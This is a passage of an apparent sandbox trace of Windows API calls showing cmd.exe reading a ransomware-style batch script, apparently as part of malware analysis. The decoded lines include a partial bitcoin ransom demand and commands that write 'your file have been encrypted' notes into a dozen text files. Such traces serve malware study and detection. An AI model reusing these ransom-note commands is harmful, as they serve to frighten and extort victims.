Ur183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n") returned 34 [0039.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0039.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.564] GetFileType (hFile=0x74) returned 0x1 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0039.564] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=6430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0039.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\n183IenOeJVZX5OeBMewJn55Lo\r\n") returned 7 [0039.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0039.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.565] GetFileType (hFile=0x74) returned 0x1 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0039.565] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=6434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0039.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":a\r\ne\r\n") returned 4 [0039.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0039.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.565] GetFileType (hFile=0x74) returned 0x1 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0039.565] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=6501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0039.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n\n") returned 67 [0039.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0039.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.566] GetFileType (hFile=0x74) returned 0x1 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0039.566] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=6569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0039.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 68 [0039.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0039.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.566] GetFileType (hFile=0x74) returned 0x1 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0039.566] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=6637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0039.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0039.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0039.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.567] GetFileType (hFile=0x74) returned 0x1 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0039.567] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=6701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0039.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0039.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0039.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.567] GetFileType (hFile=0x74) returned 0x1 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0039.567] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=6764, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0039.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0039.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0039.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.567] GetFileType (hFile=0x74) returned 0x1 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0039.568] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=6826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0039.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0039.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0039.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.568] GetFileType (hFile=0x74) returned 0x1 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0039.568] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=6883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0039.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0039.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0039.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.568] GetFileType (hFile=0x74) returned 0x1 [0039.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0039.569] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=6939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0039.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0039.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0039.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.569] GetFileType (hFile=0x74) returned 0x1 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0039.569] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=6997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0039.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops1.txt\r\n##\r\n") returned 58 [0039.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0039.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.569] GetFileType (hFile=0x74) returned 0x1 [0039.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0039.569] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=7055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0039.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops2.txt\r\n") returned 58 [0039.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0039.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.570] GetFileType (hFile=0x74) returned 0x1 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0039.570] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=7113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0039.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops3.txt\r\n") returned 58 [0039.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0039.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.570] GetFileType (hFile=0x74) returned 0x1 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0039.570] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=7171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0039.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops4.txt\r\n") returned 58 [0039.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0039.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.571] GetFileType (hFile=0x74) returned 0x1 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0039.571] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=7229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0039.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops5.txt\r\n") returned 58 [0039.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0039.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.571] GetFileType (hFile=0x74) returned 0x1 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0039.571] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=7287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0039.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops6.txt\r\n") returned 58 [0039.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0039.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.572] GetFileType (hFile=0x74) returned 0x1 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0039.572] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=7345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0039.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops7.txt\r\n") returned 58 [0039.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0039.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.572] GetFileType (hFile=0x74) returned 0x1 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0039.572] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=7403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0039.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops8.txt\r\n") returned 58 [0039.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0039.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.572] GetFileType (hFile=0x74) returned 0x1 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0039.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=7461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0039.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops9.txt\r\n") returned 58 [0039.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0039.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.573] GetFileType (hFile=0x74) returned 0x1 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0039.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=7520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0039.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops10.txt\r\n#\r\n") returned 59 [0039.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0039.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.573] GetFileType (hFile=0x74) returned 0x1 [0039.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0039.574] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=7579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0039.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops11.txt\r\n") returned 59 [0039.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0039.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.574] GetFileType (hFile=0x74) returned 0x1 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0039.574] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=7638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0039.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops12.txt\r\n") returned 59 [0039.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0039.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.574] GetFileType (hFile=0x74) returned 0x1 [0039.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0039.574] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.575] SetFilePointer (in: hFile=0x74, 